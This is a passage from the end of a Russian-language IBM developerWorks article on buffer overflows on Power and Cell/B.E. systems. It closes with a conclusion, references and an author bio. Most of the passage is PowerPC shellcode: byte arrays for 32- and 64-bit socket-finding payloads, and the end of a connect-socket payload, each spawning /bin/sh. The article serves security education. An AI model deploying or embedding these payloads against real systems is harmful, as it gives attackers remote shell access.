"\x44\xff\xff\x02" /* sc */
"\x7f\x64\xdb\x78" /* mr r4,r27 */
"\x7f\x43\xd3\x78" /* mr r3,r26 */
"\x38\x1d\xfe\x40" /* addi r0,r29,-448 */
"\x44\xff\xff\x02" /* sc */
"\x37\x7b\xff\xff" /* addic. r27,r27,-1 */
"\x40\x80\xff\xec" /* bge+ <cntsockcode64+108> */
"\x7c\xa5\x2a\x79" /* xor. r5,r5,r5 */
"\x40\x82\xff\xfd" /* bnel+ <cntsockcode64+132> */
"\x7f\xc8\x02\xa6" /* mflr r30 */
"\x3b\xde\x01\xff" /* addi r30,r30,511 */
"\x38\x7e\xfe\x25" /* addi r3,r30,-475 */
"\x98\xbe\xfe\x2c" /* stb r5,-468(r30) */
"\xf8\xa1\xff\xf9" /* stdu r5,-8(r1) */
"\xf8\x61\xff\xf9" /* stdu r3,-8(r1) */
"\x7c\x24\x0b\x78" /* mr r4,r1 */
"\x38\x1d\xfe\x0c" /* addi r0,r29,-500 */
"\x44\xff\xff\x02" /* sc */
"/bin/sh"
;
|
Листинг 24. Код поиска сокета (fndsockcode)
#define FNDSOCKPORT 86
char fndsockcode[]= /* 171 bytes */
"\x7f\xff\xfa\x78" /* xor r31,r31,r31 */
"\x3b\xa0\x01\xff" /* li r29,511 */
"\x97\xe1\xff\xfc" /* stwu r31,-4(r1) */
"\x7c\x3c\x0b\x78" /* mr r28,r1 */
"\x3b\x7d\xfe\x11" /* addi r27,r29,-495 */
"\x97\x61\xff\xfc" /* stwu r27,-4(r1) */
"\x7c\x3a\x0b\x78" /* mr r26,r1 */
"\x97\x41\xff\xfc" /* stwu r26,-4(r1) */
"\x97\x81\xff\xfc" /* stwu r28,-4(r1) */
"\x97\xe1\xff\xfc" /* stwu r31,-4(r1) */
"\x3b\xff\x01\xff" /* addi r31,r31,511 */
"\x3b\xff\xfe\x02" /* addi r31,r31,-510 */
"\x38\x21\x01\xff" /* addi r1,r1,511 */
"\x38\x21\xfe\x05" /* addi r1,r1,-507 */
"\x97\xe1\xff\xfc" /* stwu r31,-4(r1) */
"\x7c\x24\x0b\x78" /* mr r4,r1 */
"\x38\x7d\xfe\x08" /* addi r3,r29,-504 */
"\x38\x1d\xfe\x67" /* addi r0,r29,-409 */
"\x44\xff\xff\x02" /* sc */
"\x3b\x3c\x01\xff" /* addi r25,r28,511 */
"\xa3\x39\xfe\x03" /* lhz r25,-509(r25) */
"\x28\x19\x04\xd2" /* cmplwi r25,1234 */
"\x40\x82\xff\xd0" /* bne+ <fndsockcode+40> */
"\x3b\x1d\xfe\x03" /* addi r24,r29,-509 */
"\x7f\x04\xc3\x78" /* mr r4,r24 */
"\x7f\xe3\xfb\x78" /* mr r3,r31 */
"\x38\x1d\xfe\x40" /* addi r0,r29,-448 */
"\x44\xff\xff\x02" /* sc */
"\x37\x18\xff\xff" /* addic. r24,r24,-1 */
"\x40\x80\xff\xec" /* bge+ <fndsockcode+96> */
"\x7c\xa5\x2a\x79" /* xor. r5,r5,r5 */
"\x40\x82\xff\xfd" /* bnel+ <fndsockcode+120> */
"\x7f\xc8\x02\xa6" /* mflr r30 */
"\x3b\xde\x01\xff" /* addi r30,r30,511 */
"\x38\x7e\xfe\x25" /* addi r3,r30,-475 */
"\x98\xbe\xfe\x2c" /* stb r5,-468(r30) */
"\x94\xa1\xff\xfc" /* stwu r5,-4(r1) */
"\x94\x61\xff\xfc" /* stwu r3,-4(r1) */
"\x7c\x24\x0b\x78" /* mr r4,r1 */
"\x38\x1d\xfe\x0c" /* addi r0,r29,-500 */
"\x44\xff\xff\x02" /* sc */
"/bin/sh"
;
|
Листинг 25. 64-разрядный код поиска сокета (fndsockcode)
#define FNDSOCKPORT 86
char fndsockcode64[]= /* 171 bytes */
"\x7f\xff\xfa\x78" /* xor r31,r31,r31 */
"\x3b\xa0\x01\xff" /* li r29,511 */
"\x97\xe1\xff\xfc" /* stwu r31,-4(r1) */
"\x7c\x3c\x0b\x78" /* mr r28,r1 */
"\x3b\x7d\xfe\x11" /* addi r27,r29,-495 */
"\x97\x61\xff\xfc" /* stwu r27,-4(r1) */
"\x7c\x3a\x0b\x78" /* mr r26,r1 */
"\xfb\x41\xff\xf9" /* stdu r26,-8(r1) */
"\xfb\x81\xff\xf9" /* stdu r28,-8(r1) */
"\xfb\xe1\xff\xf9" /* stdu r31,-8(r1) */
"\x3b\xff\x01\xff" /* addi r31,r31,511 */
"\x3b\xff\xfe\x02" /* addi r31,r31,-510 */
"\x38\x21\x01\xff" /* addi r1,r1,511 */
"\x38\x21\xfe\x09" /* addi r1,r1,-503 */
"\xfb\xe1\xff\xf9" /* stdu r31,-8(r1) */
"\x7c\x24\x0b\x78" /* mr r4,r1 */
"\x38\x7d\xfe\x08" /* addi r3,r29,-504 */
"\x38\x1d\xfe\x67" /* addi r0,r29,-409 */
"\x44\xff\xff\x02" /* sc */
"\x3b\x3c\x01\xff" /* addi r25,r28,511 */
"\xa3\x39\xfe\x03" /* lhz r25,-509(r25) */
"\x28\x19\x04\xd2" /* cmplwi r25,1234 */
"\x40\x82\xff\xd0" /* bne+ <fndsockcode64+40> */
"\x3b\x1d\xfe\x03" /* addi r24,r29,-509 */
"\x7f\x04\xc3\x78" /* mr r4,r24 */
"\x7f\xe3\xfb\x78" /* mr r3,r31 */
"\x38\x1d\xfe\x40" /* addi r0,r29,-448 */
"\x44\xff\xff\x02" /* sc */
"\x37\x18\xff\xff" /* addic. r24,r24,-1 */
"\x40\x80\xff\xec" /* bge+ <fndsockcode64+96> */
"\x7c\xa5\x2a\x79" /* xor. r5,r5,r5 */
"\x40\x82\xff\xfd" /* bnel+ <fndsockcode64+120> */
"\x7f\xc8\x02\xa6" /* mflr r30 */
"\x3b\xde\x01\xff" /* addi r30,r30,511 */
"\x38\x7e\xfe\x25" /* addi r3,r30,-475 */
"\x98\xbe\xfe\x2c" /* stb r5,-468(r30) */
"\xf8\xa1\xff\xf9" /* stdu r5,-8(r1) */
"\xf8\x61\xff\xf9" /* stdu r3,-8(r1) */
"\x7c\x24\x0b\x78" /* mr r4,r1 */
"\x38\x1d\xfe\x0c" /* addi r0,r29,-500 */
"\x44\xff\xff\x02" /* sc */
"/bin/sh"
;
|
 |
Заключение
Я надеюсь, что вы получили общее понимание проблем, связанных с переполнением буфера в системах на основе процессоров Power и Cell/B.E. В этой части рассказано, как перезаписать локальные переменные и указатели функции в 32- и 64-разрядном режимах, и рассмотрены примеры кода готовых компонентов на ассемблере для работы с оболочкой, сетью и сокетами.
Ресурсы Научиться
-
Оригинал статьи (EN).
-
В первой части этой статьи (developerWorks, январь 2009 г.) рассказывается об истории архитектур Power и Cell/B.E. в связи с проблемой переполнения буфера.
-
Руководство "Семейство микропроцессоров PowerPC: программные среды для 32-разрядных микропроцессоров» (техническая библиотека IBM, февраль 2000 г.; EN) призвано помочь программистам в разработке программного обеспечения, совместимого с 32-разрядными процессорами PowerPC.
-
В «Руководстве по программным средам для 64-разрядных микропроцессоров» (техническая библиотека IBM, июль 2005 г.; EN) дано общее описание стандартных функций 64-разрядных процессоров PPC, указаны необязательные функции и функции, которые могут быть реализованы по-разному в зависимости от конструкции конкретного процессора.
-
В статье "Разработка встроенного программного обеспечения для процессора IBM PowerPC 970FX" (техническая библиотека IBM, июль 2004 г.; EN) обсуждаются проблемы, связанные с разработкой нового и переносом существующего ПО для процессора PowerPC 970FX, включая описание реализации 64-разрядной архитектуры PowerPC 64 для этого процессора.
-
"Набор инструкций архитектуры Power, версия 2.05" (Power.org, октябрь 2007 г.; документ PDF; EN) – спецификация набора инструкций.
- На сайте проекта
UNIX Assembly Components for Proof of Concept Codes
приведен набор ассемблерных компонентов для концептуальных примеров программ взлома для различных операционных систем и архитектур.
-
В статье "Безопасное программирование: учет переполнений буфера" (developerWorks, январь 2004 г.; EN) приводятся наиболее распространенные уязвимости переполнения буфера и рассказано, почему они возникают, в чем их опасность и как их отслеживать.
- В
разделе Linux сайта developerWorks можно найти дополнительные ресурсы для разработчиков Linux и
самые популярные среди наших читателей статьи и руководства (EN).
-
Посмотрите все
советы по Linux и
руководства по Linux на сайте developerWorks.
-
Следите на последними новостями на портале
Web-трансляций и технических мероприятий developerWorks (EN).
Получить продукты и технологии
Обсудить
Об авторе  | |  | Рамон ди Карвалью Вальи (Ramon de Carvalho Valle) является разработчиком программного обеспечения в центре IBM Linux Technology Center в Сан-Паулу, Бразилия. Рамон – основатель и специалист по безопасности проекта RISE Security и обладает большим опытом в исследовании уязвимостей, методов их работы, разработке эксплойтов и средств противодействия им для различных операционных систем и архитектур. Он также сотрудничает в проектах open source, таких как Metasploit Framework. |
Выскажите мнение об этой странице
|  |